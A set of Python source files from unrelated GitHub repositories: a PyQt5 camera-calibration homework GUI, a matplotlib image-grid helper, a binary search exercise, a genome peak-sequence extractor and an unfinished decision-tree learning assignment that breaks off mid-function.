{"seq_id":"74274592431","text":"from PyQt5 import QtWidgets, QtCore, QtGui\nimport sys\nimport MainWindow as ui\nimport os\n\nfrom Q1.Q1 import Question1\nfrom Q2.Q2 import Question2\nfrom Q3.Q3 import Question3\n\n\nclass Main(QtWidgets.QMainWindow, ui.Ui_MainWindow):\n    def __init__(self):\n        super().__init__()\n        self.setupUi(self)\n\n        # Load data\n        self.pushButtonLoadFolder.clicked.connect(self.selectDir)\n        self.pushButtonLoadImageL.clicked.connect(self.getImLPath)\n        self.pushButtonLoadImageR.clicked.connect(self.getImRPath)\n        \n        # self.pushButtonFindCorners.clicked.connect(lambda: Q1Object.test(self.dirName))\n        # Question 1\n        self.pushButtonFindCorners.clicked.connect(lambda: Q1Object.findCorner(self.dirName))\n        self.pushButtonFindIntrinsicMatrix.clicked.connect(lambda: Q1Object.findIntrinsic(self.dirName))\n        self.pushButtonFindExtrinsicMatrix.clicked.connect(lambda: Q1Object.findExtrinsic(self.dirName, self.comboBoxFindExtrinsic.currentText()))\n        self.pushButtonFindDistortionMatrix.clicked.connect(Q1Object.findDistortion)\n        self.pushButtonShowUndistortedResult.clicked.connect(lambda: Q1Object.showUndistortion(self.dirName))\n\n        # Question 2\n        self.pushButtonShowWordsOnBoard.clicked.connect(lambda: Q2Object.onBoard(self.dirName, self.textEditAugmentedReality.toPlainText()))\n        self.pushButtonShowWordsVertically.clicked.connect(lambda: Q2Object.verticalOnBoard(self.dirName, self.textEditAugmentedReality.toPlainText()))\n\n        # Question 3\n        self.pushButtonShowStereoDisparityMap.clicked.connect(lambda: Q3Object.stereoDisparityMap(self.ImLPath, self.ImRPath))\n    \n\n    def selectDir(self):\n        self.dirName = QtCore.QDir.toNativeSeparators(QtWidgets.QFileDialog.getExistingDirectory(None, caption='Select a folder:', directory='C:\\\\', options=QtWidgets.QFileDialog.ShowDirsOnly))\n    \n    def selectFile(self):\n        fileName = QtCore.QDir.toNativeSeparators(QtWidgets.QFileDialog.getOpenFileName(None, caption='Choose a File', directory='C:\\\\', filter='Image Files (*.png *.jpg *.bmp)')[0])  # get turple[0] which is file name\n        return fileName\n    \n    def getImLPath(self):\n        self.ImLPath = self.selectFile()\n    \n    def getImRPath(self):\n        self.ImRPath = self.selectFile()\n    \n    # overide to force exit\n    def closeEvent(self, a0: QtGui.QCloseEvent) -> None:\n        super().closeEvent(a0)\n        os._exit(0)\n\n\nif __name__ == '__main__':\n    app = QtWidgets.QApplication(sys.argv)\n    Q1Object = Question1()\n    Q2Object = Question2()\n    Q3Object = Question3()\n    window = Main()\n    window.show()\n    sys.exit(app.exec_())","repo_name":"xi0326/cvdl_2022","sub_path":"hw1_01_02_03/cvdl_hw1_main.py","file_name":"cvdl_hw1_main.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20805722435","text":"#python3\n#Steven 11/03/2020 image plot modoule\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom commonModule.common import getRowAndColumn\n\ndef plotImagList2(imgList,nameList,gray=False,showTitle=True,showticks=True):\n    nImg = len(imgList)\n    nRow,nColumn = getRowAndColumn(nImg)\n\n    #f, axarr = plt.subplots(nRow, nColumn,gridspec_kw = {'wspace':0, 'hspace':0}) #\n    f, axarr = plt.subplots(nRow, nColumn, constrained_layout=True) #\n    \n    gs1 = gridspec.GridSpec(nRow, nColumn)\n    gs1.update(wspace=0, hspace=0)\n    \n    print(len(f.axes),nRow,nColumn)\n    \n    for n in range(nImg):\n        ax = plt.subplot(gs1[n])\n        if 1:\n            img = imgList[n]\n            \n            if showTitle:\n                ax.title.set_text(nameList[n])\n            if gray:\n                ax.imshow(img,cmap=\"gray\")\n            else:\n                ax.imshow(img)\n            \n            if not showticks:\n                ax.set_yticks([])\n                ax.set_xticks([])\n            \n            ax.margins(0, 0) \n            #ax.xaxis.set_major_locator(plt.NullLocator())\n            #ax.yaxis.set_major_locator(plt.NullLocator())\n    \n    #plt.grid(True)\n    plt.tight_layout(pad=0)\n    plt.subplots_adjust(wspace=0, hspace=0)\n    #plt.subplots_adjust(top = 1, bottom = 0, right = 1, left = 0, hspace = 0, wspace = 0)\n    plt.show()\n\ndef plotImagList(imgList,nameList,gray=False,showTitle=True,showticks=True):\n    nImg = len(imgList)\n    nRow,nColumn = getRowAndColumn(nImg)\n    \n    for n in range(nImg):\n        img = imgList[n]\n        ax = plt.subplot(nRow, nColumn, n + 1)\n        if showTitle:\n            ax.title.set_text(nameList[n])\n        if gray:\n            plt.imshow(img,cmap=\"gray\")\n        else:\n            plt.imshow(img)\n        \n        if not showticks:\n            ax.set_yticks([])\n            ax.set_xticks([])\n        \n        ax.set_aspect('equal')\n        #ax.margins(0, 0) \n        #ax.xaxis.set_major_locator(plt.NullLocator())\n        #ax.yaxis.set_major_locator(plt.NullLocator())\n    #plt.grid(True)\n    plt.tight_layout()\n    #plt.subplots_adjust(wspace=0, hspace=0)\n    #plt.subplots_adjust(top = 1, bottom = 0, right = 1, left = 0, hspace = 0, wspace = 0)\n    plt.show()\n\ndef main():\n    #file = r'./res/obama.jpg'#'./res/Lenna.png' #\n    #img = loadImg(file,mode=cv2.IMREAD_GRAYSCALE) # IMREAD_GRAYSCALE IMREAD_COLOR\n    #infoImg(img)\n    #showimage(binaryImage2(img,thresHMin=50,thresHMax=150))\n    pass\n\nif __name__=='__main__':\n    main()\n","repo_name":"StevenHuang2020/FaceKeypointsRecognition","sub_path":"commonModule/imagePlot.py","file_name":"imagePlot.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"12203823361","text":"def binary_search(A, k, high, low):\n    while low <= high:\n        mid = (high + low) // 2\n        if A[mid] == k:\n            return mid\n        elif A[mid] > k:\n            high = mid - 1\n        elif A[mid] < k:\n            low = mid + 1\n            \n    return -1\n            \nif __name__ == '__main__':\n    n1A = [int(n1A) for n1A in input().split()]\n    n1 = n1A[0]\n    A = n1A[1:]\n    n2K = [int(n2K) for n2K in input().split()]\n    K = n2K[1:]\n    for k in K:\n        print(binary_search(A, k, n1-1, 0), end = ' ')","repo_name":"shivampatel22/UCSanDiego-data-structures-and-algorithms-specialization","sub_path":"C1-algorithmic-toolbox/course1-problems/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"30298334382","text":"import argparse\nimport csv\nimport string\n\nfrom operator import itemgetter\nfrom glob import glob\nfrom Bio import SeqIO\nfrom random import randint\n\ndef seqs_under_peaks():\n\n    ########################\n    #command line arguments#\n    ########################\n\n    parser = argparse.ArgumentParser()\n    \n    \n    #MANDATORY PARAMETERS\n    parser.add_argument(\"genome\",help=\"Full path to the reference genome file in fasta-format.\",type=str)\n    parser.add_argument(\"peaks\",help=\"Full path to the file containing peaks in igv-format.\",type=str)\n    parser.add_argument(\"outname\",help=\"Full path for the output file.\",type=str)\n    \n    #OPTIONAL PARAMETERS\n    parser.add_argument(\"-N\",\"--numpeaks\",help=\"How many of the top peaks are analyzed (default=100).\",type=int,default=100)\n    parser.add_argument(\"-w\", \"--peakwidth\",help=\"Width of the sequence around the peak summit (w+1+w), deafault=25.\",type=int,default=25)\n    parser.add_argument(\"-s\",\"--sorting\",help=\"1=sort by read count, 2=sort by p-value, 3=random peaks, 4=sort by score,default=1\",type=int,choices=[1,2,3,4])\n\n    args = parser.parse_args()\n\n    N = args.numpeaks\n    w = args.peakwidth\n\n    peaks = []\n    #[[chr,index,binding site length,signal],...]\n\n    #print \"Reading in peaks...\",\n    #reading in the peaks\n    with open(args.peaks,'rb') as peakfile:\n        r = csv.reader(peakfile,delimiter='\\t')\n        for row in r:\n            if row[0].count('chromosome')>0: continue\n            chrom = row[0]\n            start = int(float(row[1]))\n            end = int(float(row[2]))\n            if end-start>1: loc = start+(end-start)/2\n            else: loc = start\n            \n            if args.sorting==1: signal = float(row[-2]) #THIS IS THE TOTAL NUMBER OF READS PER PEAK!\n            else: signal = float(row[-1]) #THIS IS THE P-VALUE\n            peaks.append([chrom,loc,end-start,signal])\n\n    #selecting the required number of top peaks\n    #print \"total number of peaks=\"+str(len(peaks))+\"...\"\n    if args.sorting==1: peaks = sorted(peaks,key=itemgetter(3),reverse=True)[:N]\n    elif args.sorting==2: peaks = sorted(peaks,key=itemgetter(3),reverse=False)[:N]\n    elif args.sorting==4: peaks = sorted(peaks,key=itemgetter(3),reverse=True)[:N]\n    else:\n        #we select random N peaks from the input\n        new_peaks = []\n        used = set()\n        for i in range(0,N):\n            r = randint(0,len(peaks)-1)\n            while r in used: r = randint(0,len(peaks)-1)\n            new_peaks.append(peaks[r])\n            used.add(r)\n        peaks = new_peaks\n            \n    #print \"done!\"\n\n    #print \"Reading in sequences...\",\n    sequences = []\n    names = []\n\n    #sorting found peaks according to chromosome\n    top_peaks = {}\n    #key = chromosome\n    #value = [[loc1,len1],[loc2,len2],...]\n    for i in range(0,len(peaks)):\n        if peaks[i][0] not in top_peaks: top_peaks[peaks[i][0]] = [[peaks[i][1],peaks[i][2]]]\n        else: top_peaks[peaks[i][0]].append([peaks[i][1],peaks[i][2]])\n\n    #retrieving the underlying sequences from reference genome\n    handle = open(args.genome,'rU')\n    for record in SeqIO.parse(handle,\"fasta\"):\n        chrom = record.id\n        if chrom not in top_peaks: continue\n        seq = record.seq\n        #saving the sequence for each peak in this chromosome\n        for peak in top_peaks[chrom]:\n            #print peak\n            sequences.append(seq[peak[0]-w:peak[0]+w])\n            names.append(chrom+\"_\"+str(peak[0]))\n    handle.close()\n    #print \"done!\"\n\n    #print \"Saving the sequences...\",\n    f = open(args.outname,'w')\n    for s in range(0,len(sequences)):\n        f.write(\">\"+str(s)+\"_\"+str(names[s])+\"\\n\"+str(sequences[s]).upper()+\"\\n\")\n    f.close()\n    #print \"done!\"\n#end\n\nseqs_under_peaks()\n","repo_name":"hartonen/PeakXus-legacy","sub_path":"src/seqs_under_peaks.py","file_name":"seqs_under_peaks.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16335900237","text":"'''\nDecision Tree Induction\nStarter code author: Steven Bogaerts\n'''\nimport math\n\nclass AttributeSpec:\n    def __init__(self,name,vals):\n        self.__name = name\n        self.__vals = vals\n    def getName(self):\n        return self.__name\n    def getValAt(self,i):\n        return self.__vals[i]\n    def getIndexOf(self,value):\n        return self.__vals.index(value)\n    def getNumVals(self):\n        return len(self.__vals)\n    def __repr__(self):\n        return \"AttributeSpec{\" + str(self.__name) + \", \" + str(self.__vals) + \"}\"\ndef testAttributeSpec():\n    print(\"==================== testAttributeSpec ====================\")\n    tempSpec = AttributeSpec(\"Temperature\", [\"Low\", \"Medium\", \"High\"])\n    ratingSpec = AttributeSpec(\"Rating\", [0, 1, 2, 3, 4, 5])\n    \n    print(tempSpec)\n    print(ratingSpec)\n    \n    print(tempSpec.getName(), tempSpec.getValAt(1), tempSpec.getIndexOf(\"Medium\"), tempSpec.getNumVals())\nclass Example(object):\n    '''\n    Example is an example - a collection of attribute keys and values,\n    and possibly the class of the example, if known.\n\n    cls - the class of this example (can be left off if unknown)\n\n    nameValDict - dictionary from attribute name (from an AttributeSpec) to the\n                 corresponding value for this Example.\n    '''\n\n    def __init__(self, nameValDict, cls=None):\n        self.__cls = cls\n        self.__nameValDict = nameValDict\n    def getClass(self):\n        return self.__cls\n    def hasSameClassAs(self,other):\n        return self.__cls == other.__cls\n    def getValFor(self,attributeName):\n        return self.__nameValDict.get(attributeName)\n    def __repr__(self):\n        return \"Example{\"+ self.__cls + \", \" + str(self.__nameValDict) + \"}\"\ndef testExample():\n    print(\"==================== testExample ====================\")\n    # \"Do you need help lifting this thing?\"\n    ex1 = Example({\"height\":5, \"width\":4, \"isHeavy\":False}, \"No\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}) # cls not provided, so it's None (see __init__)\n    \n    print(ex1)\n    print(ex1.getClass())\n    print(ex1.hasSameClassAs(ex2))\n    print(ex1.getValFor(\"width\"))   \nclass ExampleList(object):\n    '''\n    A list of Example objects.\n    '''\n\n    def __init__(self, exampleList):\n        self.__exampleList = exampleList\n    def __repr__(self):\n        return \"ExampleList{\" + str(self.__exampleList) + \"}\"\n    def getExampleAt(self, i):\n        return self.__exampleList[i]\n    def getNumExamples(self):\n        return len(self.__exampleList)\n    def isEmpty(self):\n        return self.__exampleList == []\n    def append(self, ex):\n        self.__exampleList.append(ex)\n    def allSameClass(self):\n        standardCLS = self.__exampleList[0]\n        for example in self.__exampleList:\n            if not standardCLS.hasSameClassAs(example):\n                return False\n        return True\n        def specialLog2(self, val):\n            if val == 0:\n                return 0\n            else:\n                return math.log(val, 2)\n    def specialLog2(self, val):\n        if val == 0:\n            return 0\n        else:\n            return math.log(val, 2)\n    def calcEntropy(self, classAttrSpec):\n        # Calculates the entropy of this example list over the class\n        if(self.isEmpty()):#special case if input list is empty\n            return 0\n        numberOfVals = classAttrSpec.getNumVals()\n        uniqueValuesList = []*numberOfVals\n        for x in range(numberOfVals):#get the unique outcomes names\n            if not classAttrSpec.getValAt(x) in uniqueValuesList:\n                uniqueValuesList.append(classAttrSpec.getValAt(x))\n        numberOfOccurance = [0]*numberOfVals\n        for x in range(self.getNumExamples()):#find how many occurence of each outcome there is\n            for value in uniqueValuesList:\n                if value == self.__exampleList[x].getClass():\n                    numberOfOccurance[uniqueValuesList.index(value)] +=1   \n        totalEntrees = 0\n        for number in numberOfOccurance:\n            totalEntrees+=number\n        entropy = 0\n        for x in range(len(uniqueValuesList)):\n            entropy+= -(numberOfOccurance[x]/totalEntrees) * self.specialLog2(numberOfOccurance[x]/totalEntrees)\n        return entropy\n    def calcGain(self, attrSpec, classAttrSpec):\n        # Calculates the gain from splitting on attribute attrSpec.\n        splitExamples = self.split(attrSpec)\n        gain = 0\n        numOfExamples = self.getNumExamples()\n        for exampleList in splitExamples:\n            numOfExamplesInExample = exampleList.getNumExamples()\n            gain+=numOfExamplesInExample/numOfExamples * exampleList.calcEntropy(classAttrSpec)\n        return self.calcEntropy(classAttrSpec) - gain\n    def chooseAttr(self, attrSpecs, classAttrSpec):\n        # Returns the attribute specification that best splits the example list.\n        listOfGain = []\n        for attrSpec in attrSpecs:\n            listOfGain.append(self.calcGain(attrSpec,classAttrSpec))\n        return attrSpecs[listOfGain.index(max(listOfGain))]    \n    def countClassValues(self, classAttrSpec):\n        '''\n        For the examples in this ExampleList,\n        counts the number of occurrences of each class.\n        Returns a list valCount, where valCount[i] is the number of occurrences of the ith class value\n        (as ordered in classAttrSpec).\n        '''\n        # Initialize valCount\n        valCount = [0 for i in range(classAttrSpec.getNumVals())]\n        ''' The above line (a \"list comprehension\") does the same as the following:\n        valCount = []\n        for i in range(classAttrSpec.getNumVals()):\n            valCount.append(0)\n        '''\n        \n        for ex in self.__exampleList: \n            for i in range(classAttrSpec.getNumVals()):\n                if classAttrSpec.getValAt(i) == ex.getClass():\n                    valCount[i] += 1\n            \n        return valCount\n    def getMajorityClass(self, classAttrSpec):\n        '''\n        Determines the class that describes the majority of examples\n        in the list.\n        '''\n        valCount = self.countClassValues(classAttrSpec)\n\n        maxID = 0\n        for i in range(1, len(valCount)):\n            if valCount[i] > valCount[maxID]:\n                maxID = i\n        return classAttrSpec.getValAt(maxID) # change this to what it should be\n    def split(self, attrSpec):\n        '''\n        Splits the examples by attribute.\n        Returns a list of ExampleList objects. (So essentially, a list of lists, or a 2-D list.)\n        '''\n        \n        # Initialize the splitExamples structure to a list of empty ExampleList objects.\n        splitExamples = [ExampleList([]) for i in range(attrSpec.getNumVals())]\n        ''' The above line (a \"list comprehension\") does the same as the following:\n        splitExamples = []\n        for i in range(attrSpec.getNumVals()):\n            splitExamples.append(ExampleList([]))\n        '''\n        \n        attrName = attrSpec.getName()\n        for ex in self.__exampleList: # Using the list for-each notation\n            for i in range(attrSpec.getNumVals()):\n                if attrSpec.getValAt(i) == ex.getValFor(attrName):\n                    splitExamples[i].append(ex)\n        \n        return splitExamples\ndef testExampleListBasic():\n    print(\"==================== testExampleListBasic ====================\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":12, \"width\":7, \"isHeavy\":True}, \"Yes\")\n\n    exList = ExampleList([ex2, ex3])\n    print(\"1)\", exList)\n    print(\"2)\", exList.getExampleAt(1))\n    print(\"3)\", exList.getNumExamples())\n    print(\"4)\", exList.isEmpty())\n    \n    exList.append(ex4)\n    print(\"5)\", exList)    \ndef testAllSameClass():\n    print(\"==================== testAllSameClass ====================\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":12, \"width\":7, \"isHeavy\":False}, \"Yes\")\n    ex5 = Example({\"height\":9, \"width\":3, \"isHeavy\":False}, \"No\")\n    ex6 = Example({\"height\":9, \"width\":3, \"isHeavy\":True}, \"Yes\")\n    \n    exList = ExampleList([ex2, ex3, ex4])\n    print(exList.allSameClass())\n    exList.append(ex5)\n    exList.append(ex6)\n    print(exList.allSameClass())\ndef testCountClassValues():\n    print(\"==================== testCountClassValues ====================\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":12, \"width\":7, \"isHeavy\":False}, \"Yes\")\n    ex5 = Example({\"height\":9, \"width\":3, \"isHeavy\":False}, \"No\")\n    ex6 = Example({\"height\":9, \"width\":3, \"isHeavy\":True}, \"Yes\")\n\n    exList = ExampleList([ex2, ex3, ex4, ex5, ex6])\n    classAttr = AttributeSpec(\"Need Help?\", [\"No\", \"Yes\"])\n    print(exList.countClassValues(classAttr))   \ndef testGetMajorityClass():\n    print(\"==================== testGetMajorityClass ====================\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":12, \"width\":7, \"isHeavy\":False}, \"Yes\")\n    ex5 = Example({\"height\":9, \"width\":3, \"isHeavy\":False}, \"No\")\n    ex6 = Example({\"height\":9, \"width\":3, \"isHeavy\":True}, \"Yes\")\n\n    exList = ExampleList([ex2, ex3, ex4, ex5, ex6])\n    classAttr = AttributeSpec(\"Need Help?\", [\"No\", \"Yes\"])\n    print(exList.getMajorityClass(classAttr))\n\n    ex7 = Example({\"height\":9, \"width\":4, \"isHeavy\":False}, \"No\")\n    exList2 = ExampleList([ex5, ex6, ex7])\n    print(exList2.getMajorityClass(classAttr))\ndef testSplit():\n    print(\"==================== testSplit ====================\")\n    ex2 = Example({\"height\":'S', \"width\":'L', \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":'S', \"width\":'S', \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":'L', \"width\":'M', \"isHeavy\":False}, \"Yes\")\n    ex5 = Example({\"height\":'M', \"width\":'S', \"isHeavy\":False}, \"No\")\n    ex6 = Example({\"height\":'M', \"width\":'S', \"isHeavy\":True}, \"Yes\")\n\n    exList = ExampleList([ex2, ex3, ex4, ex5, ex6])\n    heightSpec = AttributeSpec(\"height\", ['S', 'M', 'L'])\n    widthSpec = AttributeSpec(\"width\", ['S', 'M', 'L'])\n    isHeavySpec = AttributeSpec(\"isHeavy\", [False, True])\n    \n    print(\"----- Split by height\")\n    splitByHeight = exList.split(heightSpec)\n    for exListID in range(len(splitByHeight)):\n        print(\"Height\", heightSpec.getValAt(exListID), \"has list:\", splitByHeight[exListID], end='\\n\\n')\n    \n    print(\"----- Split by isHeavy\")\n    splitByIsHeavy = exList.split(isHeavySpec)\n    for exListID in range(len(splitByIsHeavy)):\n        print(\"isHeavy\", isHeavySpec.getValAt(exListID), \"has list:\", splitByIsHeavy[exListID], end='\\n\\n')\ndef testAll():\n    testAttributeSpec()\n    testExample()\n    testExampleListBasic()\n    testAllSameClass()\n    testCountClassValues()\n    testGetMajorityClass()\n    testSplit()\n############################################################################\ndef testEntropy():\n    classAttr = AttributeSpec(\"needHelp\", [\"No\", \"Yes\"])\n    \n    emptyList = ExampleList([])\n    print(emptyList.calcEntropy(classAttr)) # The entropy of an empty list is defined to be 0, as a special case\n    \n    ex1 = Example({\"height\":5, \"width\":4, \"isHeavy\":False}, \"No\")\n    ex2 = Example({\"height\":5, \"width\":12, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":5, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":12, \"width\":7, \"isHeavy\":True}, \"Yes\")\n    exList = ExampleList([ex1, ex2, ex3, ex4])\n    print(exList.calcEntropy(classAttr))\n    \n    classAttr = AttributeSpec(\"result\", [0, 1, 2])\n    ex1 = Example({\"a\":2}, 1)\n    ex2 = Example({\"a\":3}, 1)\n    ex3 = Example({\"a\":5}, 2)\n    ex4 = Example({\"a\":4}, 2)\n    ex5 = Example({\"a\":1}, 0)\n    exList = ExampleList([ex1, ex2, ex3, ex4, ex5])\n    print(exList.calcEntropy(classAttr))\ndef testGain():\n    heightAttr = AttributeSpec(\"height\", [1, 2, 3])\n    widthAttr = AttributeSpec(\"width\", [1, 2, 3])\n    heavyAttr = AttributeSpec(\"isHeavy\", [False, True])\n    classAttr = AttributeSpec(\"needHelp\", [\"No\", \"Yes\"])\n    ex1 = Example({\"height\":1, \"width\":1, \"isHeavy\":False}, \"No\")\n    ex2 = Example({\"height\":1, \"width\":3, \"isHeavy\":True}, \"Yes\")\n    ex3 = Example({\"height\":1, \"width\":2, \"isHeavy\":True}, \"Yes\")\n    ex4 = Example({\"height\":3, \"width\":3, \"isHeavy\":True}, \"Yes\")\n    ex5 = Example({\"height\":2, \"width\":2, \"isHeavy\":False}, \"No\")\n    exList = ExampleList([ex1, ex2, ex3, ex4, ex5])\n    \n    print(exList.calcGain(heightAttr, classAttr))\n    print(exList.calcGain(widthAttr, classAttr))\n    print(exList.calcGain(heavyAttr, classAttr))\ndef testChooseAttr():\n    heightAttr = AttributeSpec(\"height\", [1, 2, 3])\n    widthAttr = AttributeSpec(\"width\", [1, 2, 3])\n    heavyAttr = AttributeSpec(\"isHeavy\", [False, True])\n    classAttr = AttributeSpec(\"needHelp\", [\"No\", \"Yes\"])\n    ex1 = Example({\"height\":1, \"isHeavy\":False, \"width\":1}, \"No\")\n    ex2 = Example({\"height\":1, \"isHeavy\":True, \"width\":3}, \"Yes\")\n    ex3 = Example({\"height\":1, \"isHeavy\":True, \"width\":2}, \"Yes\")\n    ex4 = Example({\"height\":3, \"isHeavy\":True, \"width\":3}, \"Yes\")\n    ex5 = Example({\"height\":2, \"isHeavy\":False, \"width\":2}, \"No\")\n    exList = ExampleList([ex1, ex2, ex3, ex4, ex5])\n    \n    print(\"height, heavy, width gains:\")\n    print(exList.calcGain(heightAttr, classAttr))\n    print(exList.calcGain(heavyAttr, classAttr))\n    print(exList.calcGain(widthAttr, classAttr))\n    \n    print(\"Attribute chosen:\")\n    print(exList.chooseAttr([heightAttr, heavyAttr, widthAttr], classAttr))\n###########################################################################\nclass DTree(object):\n    '''\n    A DTree is a decision tree.\n    \n    The constructor (__init__) just initializes the fields to None.\n    To actually make a DTree, though, call either makeLeaf or makeDTree instead.\n    (Both of these call the constructor and then set certain fields.)\n    \n    A DTree has three fields:\n    1) question is the AttributeSpec asked by the root of this tree\n    2) children is a dictionary mapping question.vals to DTree objects\n    3) cls is something in classAttrSpec.__vals - it's one of the valid class values\n\n    One of the following must be true:\n    - The tree is just a leaf. So cls has the classification, while children and question are None.\n    - The tree is not a leaf. So children and question are set, while cls is None.\n    '''\n\n    def __init__(self):\n        '''\n        Just \"declares\" the fields and initializes them to None. They get set\n        in one of the class methods.\n        '''\n        self.question = None # The AttributeSpec asked by the root of this tree\n        self.children = None # dictionary mapping question.__vals to DTree objects\n        \n        self.cls = None # A classification - one of the values in classAttrSpec.__vals\n\n    @classmethod\n    def makeLeaf(pythonClass, classification):\n        '''\n        Note the @classmethod annotation. This is the same as a static method in Java.\n        Call it like this:\n            DTree.makeLeaf(some value in classAttrSpec.vals)\n        When you do, pythonClass will have the value DTree. (This is similar to non-class methods,\n        in which self takes on the value of the object you called it on.)\n        The single argument you pass to makeLeaf will be stored in the classification\n        formal parameter.\n        \n        The result: we return a DTree that is a leaf, assigning the given classification.\n        '''\n        t = pythonClass()       # construct a DTree object (calls __init__); fields initialized to None\n        # Making a leaf, so self.children and self.question stay None\n        t.cls = classification  # store the classification for this leaf\n        return t\n\n    @classmethod\n    def makeDTree(pythonClass, question, children):\n        '''\n        Call this method:  DTree.makeDTree(question asked at root, children DTrees)\n        to make a DTree that is not a leaf.\n        '''\n        t = pythonClass() # construct a DTree object (calls __init__); fields initialized to None\n        t.question = question # store the question asked at this node\n        t.children = children # store the child DTrees. Maps t.question.vals to DTrees.\n        # Making an internal node (not a leaf), so self.cls stays None\n        return t\n\n    def isLeaf(self):\n        return self.children == None\n\n    # TO DO\n    def classify(self, example):\n        '''\n        Given this DTree, determine the classification of the given example.\n        '''\n        if self.isLeaf():\n            return self.cls\n        return self.children[example.getValFor(self.question.getName())].classify(example)\n\n\n    def __repr__(self):\n        return self.__reprHelper(\"\")\n\n    def __reprHelper(self, spacing):\n        if self.isLeaf():\n            return spacing + str(self.cls) + \"\\n\"\n        else:\n            result = spacing + \"[\" + str(self.question.getName()) + \"\\n\"\n            \n            newSpacing = spacing + \"    \"\n            for ans, child in self.children.items():\n                if child.isLeaf():\n                    result += newSpacing + str(ans) + \" -> \" + str(child.__reprHelper(\"\"))\n                else:\n                    result += newSpacing + str(ans) + \" :\\n  \" + str(child.__reprHelper(newSpacing))\n                \n            result += spacing + \"  ]\\n\"\n            return result\n\n    def __makeSpacing(self, n):\n        result = \"\"\n        for i in range(n):\n            result += \" \"\n        return result\n########################################################################\ndef demoTree(verbose=True):\n    '''\n    Shows an example of creating a DTree manually (not by induction)\n    and using it to classify examples.\n    '''\n\n    # Define the attributes that will be used in this domain.\n    attrSpecs = [AttributeSpec(\"Sunny?\", [True, False]),\n                 AttributeSpec(\"Warm?\", [\"Y\", \"N\"]),\n                 AttributeSpec(\"Age?\", [\"<20\", \"20-40\", \">40\"])]\n\n    # Define the class - the question we're asking of each example.\n    classAttrSpec = AttributeSpec(\"Swim?\", [\"Y\", \"M\", \"N\"])\n    defaultClass = \"M\"\n\n    '''\n    Build this tree manually:\n                      Sunny?\n               True            False\n             Warm?               ans: N\n          Y       N\n        ans: Y    ans: N\n    '''\n    warmLeftLeaf = DTree.makeLeaf('Y') # This leaf is ans: Y\n    warmRightLeaf = DTree.makeLeaf('N') # This leaf is ans: N\n    \n    # First arg: the question asked (Warm)\n    # Second arg: a dictionary (note the { key:value, ...} notation) mapping from answer-to-Warm? to a tree (or leaf)\n    warmTree = DTree.makeDTree(attrSpecs[1], {'Y':warmLeftLeaf, 'N':warmRightLeaf})\n    \n    sunnyRight = DTree.makeLeaf('N') # This leaf is ans: N\n    tree = DTree.makeDTree(attrSpecs[0], {True : warmTree, False : sunnyRight})\n    \n    if (verbose):\n        print(\"Root question:\", tree.question, end='\\n\\n')\n        print(\"Root children (dictionary from question answer to tree):\", tree.children, sep='\\n', end='\\n\\n')\n        print(\"Root, one of the children:\", tree.children.get(True), sep='\\n', end='\\n\\n')\n        print(\"Root, another of the children:\", tree.children.get(False), sep='\\n', end='\\n\\n')\n        print(\"Root class:\", tree.cls, end='\\n\\n') # None, because root is not a leaf\n        \n        print(\"Returning:\")\n    return tree\ndef testClassify():\n    tree = demoTree(False) # get the tree built above\n    print(tree)\n\n    # Set up the list of examples we want to classify with the tree.\n    # Here, the actual classification of the examples is also known,\n    # so we can check the tree's performance against the actual\n    # classifications.\n    examples = ExampleList([Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"Y\",\n                                     \"Age?\" : \"<20\"},\n                                    \"Y\"),\n                            Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"Y\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"Y\"),\n                            Example({\"Sunny?\" : True,\n                                     \"Warm?\" : \"N\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"N\"),\n                            Example({\"Sunny?\" : False,\n                                     \"Warm?\" : \"N\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"N\"),\n                            Example({\"Sunny?\" : False,\n                                     \"Warm?\" : \"Y\",\n                                     \"Age?\" : \"20-40\"},\n                                    \"N\")\n                            ])\n\n    # Compare what the tree says (ans) with the actual classification (actual)\n    for exID in range(examples.getNumExamples()):\n        ex = examples.getExampleAt(exID)\n        print(\"Ans: \" + str(tree.classify(ex)) + \"     Actual: \" + str(ex.getClass()))\n\n########################################################################\n\n# TO DO\ndef decisionTreeLearning(examples, attrSpecs, classAttrSpec, defaultClass):\n    '''\n    Given a set of examples, attribute specifications, a class attribute specification,\n    and a default class, induce a decision tree on the examples.\n    Returns that tree.\n    \n    examples - an ExampleList object\n    attrSpecs - a list of AttributeSpec instances\n    classAttrSpec - an AttributeSpec instance, representing the class\n    defaultClass - something in classAttrSpec.__vals\n    '''\n    if examples.isEmpty():\n        return defaultClass\n    elif examples.allSameClass():\n        